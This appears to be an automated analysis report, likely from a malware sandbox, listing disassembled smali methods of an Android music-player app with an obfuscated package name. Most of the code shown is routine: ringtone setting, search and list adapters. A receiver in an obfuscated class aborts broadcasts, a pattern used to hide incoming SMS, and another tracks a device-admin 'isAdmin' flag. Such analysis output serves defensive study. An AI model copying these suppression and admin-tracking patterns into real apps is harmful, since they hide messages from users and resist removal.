39iput v3, v2, Landroid/view/WindowManager$LayoutParams;->flags:I
41iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mWindowParams:Landroid/view/WindowManager$LayoutParams;
42const/4 v3, -0x3
43iput v3, v2, Landroid/view/WindowManager$LayoutParams;->format:I
45iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mWindowParams:Landroid/view/WindowManager$LayoutParams;
46iput v5, v2, Landroid/view/WindowManager$LayoutParams;->windowAnimations:I
48invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getContext()Landroid/content/Context;
49move-result-object v0
50new-instance v1, Landroid/widget/ImageView;
52invoke-direct {v1, v0}, Landroid/widget/ImageView;-><init>(Landroid/content/Context;)V
54invoke-virtual {v1, v5, v5, v5, v5}, Landroid/widget/ImageView;->setPadding(IIII)V
  • Data flow analysis:
    • left: 0
    • top: 0
    • right: 0
    • bottom: 0
56invoke-virtual {v1, p1}, Landroid/widget/ImageView;->setImageBitmap(Landroid/graphics/Bitmap;)V
57iput-object p1, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragBitmap:Landroid/graphics/Bitmap;
59const-string v2, "window"
61invoke-virtual {v0, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: window
62move-result-object v2
63check-cast v2, Landroid/view/WindowManager;
64iput-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mWindowManager:Landroid/view/WindowManager;
66iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mWindowManager:Landroid/view/WindowManager;
68iget-object v3, p0, Lcom/twdlphqg/app/TouchInterceptor;->mWindowParams:Landroid/view/WindowManager$LayoutParams;
70invoke-interface {v2, v1, v3}, Landroid/view/WindowManager;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
71iput-object v1, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragView:Landroid/widget/ImageView;
72return-void
APIs
  • android.content.Context.getPackageName
  • android.content.Context.getSharedPreferences
  • android.content.SharedPreferences.edit
  • android.content.SharedPreferences$Editor.putBoolean
  • android.content.SharedPreferences$Editor.commit
  • android.content.Intent.<init>
  • android.content.Intent.setFlags
  • android.content.Context.startActivity
Strings
  • isAdmin
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "intent" # Landroid/content/Intent;
2.prologue
3const/4 v3, 0x0
5invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
6move-result-object v1
8invoke-virtual {p1, v1, v3}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
  • Data flow analysis:
    • mode: 0
9move-result-object v1
11invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
12move-result-object v1
14const-string v2, "isAdmin"
16invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p0: isAdmin
    • p1: 0
17move-result-object v1
19invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
20new-instance v0, Landroid/content/Intent;
21const-class v1, Lcom/twdlphqg/app/ExplorationActivity;
23invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
24const/high16 v1, 0x10000000
26invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: 268435456
28invoke-virtual {p1, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
29return-void
APIs
  • com.twdlphqg.app.services.Rqdnonjuptjh.abortBroadcast
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "intent" # Landroid/content/Intent;
2.prologue
4invoke-virtual {p0}, Lcom/twdlphqg/app/services/Rqdnonjuptjh;->abortBroadcast()V
5const/4 v0, 0x0
6return-object v0
Cross References
APIs
  • java.io.File.<init>
  • java.io.File.exists
  • android.content.ContentValues.<init>
  • java.lang.Integer.valueOf
  • android.content.ContentValues.put
  • java.lang.Boolean.valueOf
  • android.content.ContentValues.put
  • java.lang.Boolean.valueOf
  • android.content.ContentValues.put
  • java.lang.Boolean.valueOf
  • android.content.ContentValues.put
  • java.lang.Boolean.valueOf
  • android.content.ContentValues.put
  • android.provider.MediaStore$Audio$Media.getContentUriForPath
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.media.RingtoneManager.setActualDefaultRingtoneUri
  • java.lang.String.valueOf
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • android.content.Context.getResources
  • android.content.res.Resources.getString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.content.Context.getResources
  • android.content.res.Resources.getString
  • java.lang.Integer.parseInt
  • android.widget.Toast.makeText
  • android.widget.Toast.show
  • android.content.Context.getResources
  • android.content.res.Resources.getString
  • android.content.Context.getResources
  • android.content.res.Resources.getString
  • java.lang.Integer.parseInt
  • android.widget.Toast.makeText
  • android.widget.Toast.show
Strings
  • _id
  • _data
  • title
  • _size
  • mime_type
  • audio/*
  • artist
  • duration
  • is_ringtone
  • is_notification
  • is_alarm
  • is_music
  • _data=\'
  • \'
Position Instruction Meta Information
0.param p0, "pos" # I
1.param p1, "track" # Lcom/twdlphqg/app/models/Track;
2.param p2, "context" # Landroid/content/Context;
3.prologue
4const v10, 0x7f0b0027
5const/4 v9, 0x1
6const/4 v8, 0x0
7new-instance v1, Ljava/io/File;
9invoke-virtual {p1}, Lcom/twdlphqg/app/models/Track;->getPath()Ljava/lang/String;
10move-result-object v6
12invoke-direct {v1, v6}, Ljava/io/File;-><init>(Ljava/lang/String;)V
14invoke-virtual {v1}, Ljava/io/File;->exists()Z
15move-result v6
16if-eqz v6, :cond_e8
17new-instance v5, Landroid/content/ContentValues;
19invoke-direct {v5}, Landroid/content/ContentValues;-><init>()V
21const-string v6, "_id"
23invoke-virtual {p1}, Lcom/twdlphqg/app/models/Track;->getId()I
24move-result v7
26invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
27move-result-object v7
29invoke-virtual {v5, v6, v7}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/Integer;)V
  • Data flow analysis:
    • key: _id
31const-string v6, "_data"
33invoke-virtual {p1}, Lcom/twdlphqg/app/models/Track;->getPath()Ljava/lang/String;
34move-result-object v7
36invoke-virtual {v5, v6, v7}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • key: _data
38const-string v6, "title"
40invoke-virtual {p1}, Lcom/twdlphqg/app/models/Track;->getTitle()Ljava/lang/String;
41move-result-object v7
43invoke-virtual {v5, v6, v7}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • key: title
45const-string v6, "_size"
47invoke-virtual {p1}, Lcom/twdlphqg/app/models/Track;->getSize()Ljava/lang/String;
48move-result-object v7
50invoke-virtual {v5, v6, v7}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • key: _size
52const-string v6, "mime_type"
54const-string v7, "audio/*"
56invoke-virtual {v5, v6, v7}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • key: mime_type
    • value: audio/*
58const-string v6, "artist"
60invoke-virtual {p1}, Lcom/twdlphqg/app/models/Track;->getArtist()Ljava/lang/String;
61move-result-object v7
63invoke-virtual {v5, v6, v7}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • key: artist
65const-string v6, "duration"
67invoke-virtual {p1}, Lcom/twdlphqg/app/models/Track;->getDuration()Ljava/lang/String;
68move-result-object v7
70invoke-virtual {v5, v6, v7}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • key: duration
72const-string v6, "is_ringtone"
74invoke-static {v9}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 1
75move-result-object v7
77invoke-virtual {v5, v6, v7}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/Boolean;)V
  • Data flow analysis:
    • key: is_ringtone
79const-string v6, "is_notification"
81invoke-static {v8}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
82move-result-object v7
84invoke-virtual {v5, v6, v7}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/Boolean;)V
  • Data flow analysis:
    • key: is_notification
86const-string v6, "is_alarm"
88invoke-static {v8}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
89move-result-object v7
91invoke-virtual {v5, v6, v7}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/Boolean;)V
  • Data flow analysis:
    • key: is_alarm
93const-string v6, "is_music"
95invoke-static {v8}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
96move-result-object v7
98invoke-virtual {v5, v6, v7}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/Boolean;)V
  • Data flow analysis:
    • key: is_music
100invoke-virtual {p1}, Lcom/twdlphqg/app/models/Track;->getPath()Ljava/lang/String;
101move-result-object v6
103invoke-static {v6}, Landroid/provider/MediaStore$Audio$Media;->getContentUriForPath(Ljava/lang/String;)Landroid/net/Uri;
104move-result-object v4
105new-instance v0, Lcom/twdlphqg/app/dals/TrackDal;
107invoke-direct {v0, p2}, Lcom/twdlphqg/app/dals/TrackDal;-><init>(Landroid/content/Context;)V
108new-instance v6, Ljava/lang/StringBuilder;
110const-string v7, "_data=\'"
112invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: _data=\'
114invoke-virtual {p1}, Lcom/twdlphqg/app/models/Track;->getPath()Ljava/lang/String;
115move-result-object v7
117invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
118move-result-object v6
120const-string v7, "\'"
122invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \'
123move-result-object v6
125invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
126move-result-object v6
128invoke-virtual {v0, v4, v6}, Lcom/twdlphqg/app/dals/TrackDal;->removeTracksOnMDS(Landroid/net/Uri;Ljava/lang/String;)I
130invoke-virtual {v0, v4, v5}, Lcom/twdlphqg/app/dals/TrackDal;->insertTracksOnMDS(Landroid/net/Uri;Landroid/content/ContentValues;)Landroid/net/Uri;
131move-result-object v2
133invoke-static {p2, v9, v2}, Landroid/media/RingtoneManager;->setActualDefaultRingtoneUri(Landroid/content/Context;ILandroid/net/Uri;)V
  • Data flow analysis:
    • type: 1
134new-instance v6, Ljava/lang/StringBuilder;
136invoke-virtual {p1}, Lcom/twdlphqg/app/models/Track;->getTitle()Ljava/lang/String;
137move-result-object v7
139invoke-static {v7}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
140move-result-object v7
142invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
144const-string v7, " "
146invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0:
147move-result-object v6
149invoke-virtual {p2}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
150move-result-object v7
151const v8, 0x7f0b0014
153invoke-virtual {v7, v8}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427348
154move-result-object v7
156invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
157move-result-object v6
159invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
160move-result-object v6
162invoke-virtual {p2}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
163move-result-object v7
165invoke-virtual {v7, v10}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427367
166move-result-object v7
168invoke-static {v7}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
169move-result v7
171invoke-static {p2, v6, v7}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
172move-result-object v3
174invoke-virtual {v3}, Landroid/widget/Toast;->show()V
175goto_e7: return-void
176cond_e8:
177invoke-virtual {p2}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
178move-result-object v6
179const v7, 0x7f0b0015
181invoke-virtual {v6, v7}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427349
182move-result-object v6
184invoke-virtual {p2}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
185move-result-object v7
187invoke-virtual {v7, v10}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427367
188move-result-object v7
190invoke-static {v7}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
191move-result v7
193invoke-static {p2, v6, v7}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
194move-result-object v3
196invoke-virtual {v3}, Landroid/widget/Toast;->show()V
197goto/16 :goto_e7
Cross References
APIs
  • java.util.ArrayList.<init>
  • android.os.Bundle.<init>
  • java.util.ArrayList.isEmpty
  • android.os.Bundle.putParcelableArrayList
  • com.twdlphqg.app.fragments.TrackFragment.newInstance
  • com.twdlphqg.app.fragments.TrackFragment.setArguments
  • java.util.ArrayList.add
  • com.twdlphqg.app.SearchActivity.getResources
  • android.content.res.Resources.getString
  • java.util.ArrayList.add
  • com.twdlphqg.app.fragments.ArtistFragment.newInstance
  • android.os.Bundle.<init>
  • java.util.ArrayList.isEmpty
  • android.os.Bundle.putParcelableArrayList
  • com.twdlphqg.app.fragments.ArtistFragment.setArguments
  • java.util.ArrayList.add
  • com.twdlphqg.app.SearchActivity.getResources
  • android.content.res.Resources.getString
  • java.util.ArrayList.add
  • com.twdlphqg.app.fragments.AlbumFragment.newInstance
  • android.os.Bundle.<init>
  • java.util.ArrayList.isEmpty
  • android.os.Bundle.putParcelableArrayList
  • com.twdlphqg.app.fragments.AlbumFragment.setArguments
  • java.util.ArrayList.add
  • com.twdlphqg.app.SearchActivity.getResources
  • android.content.res.Resources.getString
  • java.util.ArrayList.add
  • com.twdlphqg.app.fragments.PlaylistFragment.newInstance
  • android.os.Bundle.<init>
  • java.util.ArrayList.isEmpty
  • android.os.Bundle.putParcelableArrayList
  • com.twdlphqg.app.fragments.PlaylistFragment.setArguments
  • com.twdlphqg.app.SearchActivity.getResources
  • android.content.res.Resources.getString
  • java.util.ArrayList.add
  • com.twdlphqg.app.fragments.NoResultMatch.newInstance
  • java.util.ArrayList.add
  • com.twdlphqg.app.fragments.NoResultMatch.newInstance
  • java.util.ArrayList.add
  • com.twdlphqg.app.fragments.NoResultMatch.newInstance
  • java.util.ArrayList.add
  • com.twdlphqg.app.fragments.NoResultMatch.newInstance
  • java.util.ArrayList.add
Position Instruction Meta Information
0.prologue
1new-instance v15, Ljava/util/ArrayList;
3invoke-direct {v15}, Ljava/util/ArrayList;-><init>()V
4move-object/from16 v0, p0
5iput-object v15, v0, Lcom/twdlphqg/app/SearchActivity;->fragments:Ljava/util/ArrayList;
6new-instance v15, Ljava/util/ArrayList;
8invoke-direct {v15}, Ljava/util/ArrayList;-><init>()V
9move-object/from16 v0, p0
10iput-object v15, v0, Lcom/twdlphqg/app/SearchActivity;->titles:Ljava/util/ArrayList;
11new-instance v12, Lcom/twdlphqg/app/dals/TrackDal;
12move-object/from16 v0, p0
14invoke-direct {v12, v0}, Lcom/twdlphqg/app/dals/TrackDal;-><init>(Landroid/content/Context;)V
15move-object/from16 v0, p0
17iget-object v15, v0, Lcom/twdlphqg/app/SearchActivity;->query:Ljava/lang/String;
19invoke-virtual {v12, v15}, Lcom/twdlphqg/app/dals/TrackDal;->getTracksByTitleOnMDS(Ljava/lang/String;)Ljava/util/ArrayList;
20move-result-object v14
21new-instance v7, Landroid/os/Bundle;
23invoke-direct {v7}, Landroid/os/Bundle;-><init>()V
24if-eqz v14, :cond_11c
26invoke-virtual {v14}, Ljava/util/ArrayList;->isEmpty()Z
27move-result v15
28if-nez v15, :cond_11c
30sget-object v15, Lcom/twdlphqg/app/conf/constants;->TRACKS_KEY:Ljava/lang/String;
32invoke-virtual {v7, v15, v14}, Landroid/os/Bundle;->putParcelableArrayList(Ljava/lang/String;Ljava/util/ArrayList;)V
34invoke-static {}, Lcom/twdlphqg/app/fragments/TrackFragment;->newInstance()Lcom/twdlphqg/app/fragments/TrackFragment;
35move-result-object v13
37invoke-virtual {v13, v7}, Lcom/twdlphqg/app/fragments/TrackFragment;->setArguments(Landroid/os/Bundle;)V
38move-object/from16 v0, p0
40iget-object v15, v0, Lcom/twdlphqg/app/SearchActivity;->fragments:Ljava/util/ArrayList;
42invoke-virtual {v15, v13}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
43goto_41:
44invoke-virtual {v12}, Lcom/twdlphqg/app/dals/TrackDal;->close()V
45move-object/from16 v0, p0
47iget-object v15, v0, Lcom/twdlphqg/app/SearchActivity;->titles:Ljava/util/ArrayList;
49invoke-virtual/range {p0 .. p0}, Lcom/twdlphqg/app/SearchActivity;->getResources()Landroid/content/res/Resources;
50move-result-object v16
51const v17, 0x7f0b0010
53invoke-virtual/range {v16 .. v17}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427344
54move-result-object v16
56invoke-virtual/range {v15 .. v16}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
58invoke-static {}, Lcom/twdlphqg/app/fragments/ArtistFragment;->newInstance()Lcom/twdlphqg/app/fragments/ArtistFragment;
59move-result-object v5
60new-instance v4, Lcom/twdlphqg/app/dals/ArtistDal;
61move-object/from16 v0, p0
63invoke-direct {v4, v0}, Lcom/twdlphqg/app/dals/ArtistDal;-><init>(Landroid/content/Context;)V
64move-object/from16 v0, p0
66iget-object v15, v0, Lcom/twdlphqg/app/SearchActivity;->query:Ljava/lang/String;
68invoke-virtual {v4, v15}, Lcom/twdlphqg/app/dals/ArtistDal;->getArtistsByNameOnMDS(Ljava/lang/String;)Ljava/util/ArrayList;
69move-result-object v6
70new-instance v7, Landroid/os/Bundle;
72invoke-direct {v7}, Landroid/os/Bundle;-><init>()V
73if-eqz v6, :cond_129
75invoke-virtual {v6}, Ljava/util/ArrayList;->isEmpty()Z
76move-result v15
77if-nez v15, :cond_129
79sget-object v15, Lcom/twdlphqg/app/conf/constants;->ARTISTS_KEY:Ljava/lang/String;
81invoke-virtual {v7, v15, v6}, Landroid/os/Bundle;->putParcelableArrayList(Ljava/lang/String;Ljava/util/ArrayList;)V
83invoke-virtual {v5, v7}, Lcom/twdlphqg/app/fragments/ArtistFragment;->setArguments(Landroid/os/Bundle;)V
84move-object/from16 v0, p0
86iget-object v15, v0, Lcom/twdlphqg/app/SearchActivity;->fragments:Ljava/util/ArrayList;
88invoke-virtual {v15, v5}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
89goto_85:
90invoke-virtual {v4}, Lcom/twdlphqg/app/dals/ArtistDal;->close()V
91move-object/from16 v0, p0
93iget-object v15, v0, Lcom/twdlphqg/app/SearchActivity;->titles:Ljava/util/ArrayList;
95invoke-virtual/range {p0 .. p0}, Lcom/twdlphqg/app/SearchActivity;->getResources()Landroid/content/res/Resources;
96move-result-object v16
97const v17, 0x7f0b000e
99invoke-virtual/range {v16 .. v17}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427342
100move-result-object v16
102invoke-virtual/range {v15 .. v16}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
104invoke-static {}, Lcom/twdlphqg/app/fragments/AlbumFragment;->newInstance()Lcom/twdlphqg/app/fragments/AlbumFragment;
105move-result-object v2
106new-instance v1, Lcom/twdlphqg/app/dals/AlbumDal;
107move-object/from16 v0, p0
109invoke-direct {v1, v0}, Lcom/twdlphqg/app/dals/AlbumDal;-><init>(Landroid/content/Context;)V
110move-object/from16 v0, p0
112iget-object v15, v0, Lcom/twdlphqg/app/SearchActivity;->query:Ljava/lang/String;
114invoke-virtual {v1, v15}, Lcom/twdlphqg/app/dals/AlbumDal;->getAlbumsByTitleOnMDS(Ljava/lang/String;)Ljava/util/ArrayList;
115move-result-object v3
116new-instance v7, Landroid/os/Bundle;
118invoke-direct {v7}, Landroid/os/Bundle;-><init>()V
119if-eqz v3, :cond_136
121invoke-virtual {v3}, Ljava/util/ArrayList;->isEmpty()Z
122move-result v15
123if-nez v15, :cond_136
125sget-object v15, Lcom/twdlphqg/app/conf/constants;->ALBUMS_KEY:Ljava/lang/String;
127invoke-virtual {v7, v15, v3}, Landroid/os/Bundle;->putParcelableArrayList(Ljava/lang/String;Ljava/util/ArrayList;)V
129invoke-virtual {v2, v7}, Lcom/twdlphqg/app/fragments/AlbumFragment;->setArguments(Landroid/os/Bundle;)V
130move-object/from16 v0, p0
132iget-object v15, v0, Lcom/twdlphqg/app/SearchActivity;->fragments:Ljava/util/ArrayList;
134invoke-virtual {v15, v2}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
135goto_c9:
136invoke-virtual {v1}, Lcom/twdlphqg/app/dals/AlbumDal;->close()V
137move-object/from16 v0, p0
139iget-object v15, v0, Lcom/twdlphqg/app/SearchActivity;->titles:Ljava/util/ArrayList;
141invoke-virtual/range {p0 .. p0}, Lcom/twdlphqg/app/SearchActivity;->getResources()Landroid/content/res/Resources;
142move-result-object v16
143const v17, 0x7f0b000f
145invoke-virtual/range {v16 .. v17}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427343
146move-result-object v16
148invoke-virtual/range {v15 .. v16}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
150invoke-static {}, Lcom/twdlphqg/app/fragments/PlaylistFragment;->newInstance()Lcom/twdlphqg/app/fragments/PlaylistFragment;
151move-result-object v10
152new-instance v9, Lcom/twdlphqg/app/dals/PlaylistDal;
153move-object/from16 v0, p0
155invoke-direct {v9, v0}, Lcom/twdlphqg/app/dals/PlaylistDal;-><init>(Landroid/content/Context;)V
156move-object/from16 v0, p0
158iget-object v15, v0, Lcom/twdlphqg/app/SearchActivity;->query:Ljava/lang/String;
160invoke-virtual {v9, v15}, Lcom/twdlphqg/app/dals/PlaylistDal;->getPlaylistByTitle(Ljava/lang/String;)Ljava/util/ArrayList;
161move-result-object v11
162new-instance v7, Landroid/os/Bundle;
164invoke-direct {v7}, Landroid/os/Bundle;-><init>()V
165if-eqz v11, :cond_142
167invoke-virtual {v11}, Ljava/util/ArrayList;->isEmpty()Z
168move-result v15
169if-nez v15, :cond_142
171sget-object v15, Lcom/twdlphqg/app/conf/constants;->PLAYLISTS_KEY:Ljava/lang/String;
173invoke-virtual {v7, v15, v11}, Landroid/os/Bundle;->putParcelableArrayList(Ljava/lang/String;Ljava/util/ArrayList;)V
175invoke-virtual {v10, v7}, Lcom/twdlphqg/app/fragments/PlaylistFragment;->setArguments(Landroid/os/Bundle;)V
176goto_106:
177invoke-virtual {v9}, Lcom/twdlphqg/app/dals/PlaylistDal;->close()V
178move-object/from16 v0, p0
180iget-object v15, v0, Lcom/twdlphqg/app/SearchActivity;->titles:Ljava/util/ArrayList;
182invoke-virtual/range {p0 .. p0}, Lcom/twdlphqg/app/SearchActivity;->getResources()Landroid/content/res/Resources;
183move-result-object v16
184const v17, 0x7f0b0011
186invoke-virtual/range {v16 .. v17}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427345
187move-result-object v16
189invoke-virtual/range {v15 .. v16}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
190return-void
191cond_11c:
192invoke-static {}, Lcom/twdlphqg/app/fragments/NoResultMatch;->newInstance()Lcom/twdlphqg/app/fragments/NoResultMatch;
193move-result-object v8
194move-object/from16 v0, p0
196iget-object v15, v0, Lcom/twdlphqg/app/SearchActivity;->fragments:Ljava/util/ArrayList;
198invoke-virtual {v15, v8}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
199goto/16 :goto_41
200cond_129:
201invoke-static {}, Lcom/twdlphqg/app/fragments/NoResultMatch;->newInstance()Lcom/twdlphqg/app/fragments/NoResultMatch;
202move-result-object v8
203move-object/from16 v0, p0
205iget-object v15, v0, Lcom/twdlphqg/app/SearchActivity;->fragments:Ljava/util/ArrayList;
207invoke-virtual {v15, v8}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
208goto/16 :goto_85
209cond_136:
210invoke-static {}, Lcom/twdlphqg/app/fragments/NoResultMatch;->newInstance()Lcom/twdlphqg/app/fragments/NoResultMatch;
211move-result-object v8
212move-object/from16 v0, p0
214iget-object v15, v0, Lcom/twdlphqg/app/SearchActivity;->fragments:Ljava/util/ArrayList;
216invoke-virtual {v15, v8}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
217goto/16 :goto_c9
218cond_142:
219invoke-static {}, Lcom/twdlphqg/app/fragments/NoResultMatch;->newInstance()Lcom/twdlphqg/app/fragments/NoResultMatch;
220move-result-object v8
221move-object/from16 v0, p0
223iget-object v15, v0, Lcom/twdlphqg/app/SearchActivity;->fragments:Ljava/util/ArrayList;
225invoke-virtual {v15, v8}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
226goto/16 :goto_106
APIs
  • android.content.Context.getSystemService
  • android.view.LayoutInflater.inflate
  • com.twdlphqg.app.adapter.TrackInQueueAdapter.getItem
  • android.view.View.findViewById
  • android.widget.TextView.setText
  • android.view.View.findViewById
  • android.widget.TextView.setText
  • java.lang.Boolean.booleanValue
  • android.view.View.getResources
  • android.content.res.Resources.getColor
  • android.widget.TextView.setTextColor
  • android.view.View.getResources
  • android.content.res.Resources.getColor
  • android.widget.TextView.setTextColor
  • android.view.View.getResources
  • android.content.res.Resources.getColor
  • android.view.View.setBackgroundColor
  • android.view.View.findViewById
  • java.lang.Integer.valueOf
  • android.widget.Spinner.setTag
  • android.content.Context.getResources
  • android.content.res.Resources.getStringArray
  • com.twdlphqg.app.adapter.DropdownMenuAdapter.<init>
  • com.twdlphqg.app.adapter.DropdownMenuAdapter.setDropDownViewResource
  • android.widget.Spinner.setAdapter
  • android.widget.Spinner.setOnItemSelectedListener
  • android.view.View.getResources
  • android.content.res.Resources.getColor
  • android.widget.TextView.setTextColor
  • android.view.View.getResources
  • android.content.res.Resources.getColor
  • android.widget.TextView.setTextColor
  • android.view.View.getResources
  • android.content.res.Resources.getColor
  • android.view.View.setBackgroundColor
Strings
  • layout_inflater
Position Instruction Meta Information
0.param p1, "position" # I
1.param p2, "convertView" # Landroid/view/View;
2.param p3, "parent" # Landroid/view/ViewGroup;
3.prologue
4const v8, 0x7f070010
5move-object v5, p2
6if-nez v5, :cond_17
8iget-object v6, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->context:Landroid/content/Context;
10const-string v7, "layout_inflater"
12invoke-virtual {v6, v7}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: layout_inflater
13move-result-object v2
14check-cast v2, Landroid/view/LayoutInflater;
15iget v6, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->itemLayoutResource:I
16const/4 v7, 0x0
18invoke-virtual {v2, v6, v7}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;)Landroid/view/View;
  • Data flow analysis:
    • p1: 0
19move-result-object v5
20cond_17:
21invoke-virtual {p0, p1}, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->getItem(I)Ljava/lang/Object;
22move-result-object v4
23check-cast v4, Lcom/twdlphqg/app/models/Track;
24const v6, 0x7f0a002b
26invoke-virtual {v5, v6}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361835
27move-result-object v3
28check-cast v3, Landroid/widget/TextView;
30invoke-virtual {v4}, Lcom/twdlphqg/app/models/Track;->getTitle()Ljava/lang/String;
31move-result-object v6
33invoke-virtual {v3, v6}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
34const v6, 0x7f0a0052
36invoke-virtual {v5, v6}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361874
37move-result-object v1
38check-cast v1, Landroid/widget/TextView;
40invoke-virtual {v4}, Lcom/twdlphqg/app/models/Track;->getArtist()Ljava/lang/String;
41move-result-object v6
43invoke-virtual {v1, v6}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
45invoke-virtual {v4}, Lcom/twdlphqg/app/models/Track;->getSelected()Ljava/lang/Boolean;
46move-result-object v6
48invoke-virtual {v6}, Ljava/lang/Boolean;->booleanValue()Z
49move-result v6
50if-eqz v6, :cond_ab
52invoke-virtual {v5}, Landroid/view/View;->getResources()Landroid/content/res/Resources;
53move-result-object v6
55invoke-virtual {v6, v8}, Landroid/content/res/Resources;->getColor(I)I
  • Data flow analysis:
    • id: 2131165200
56move-result v6
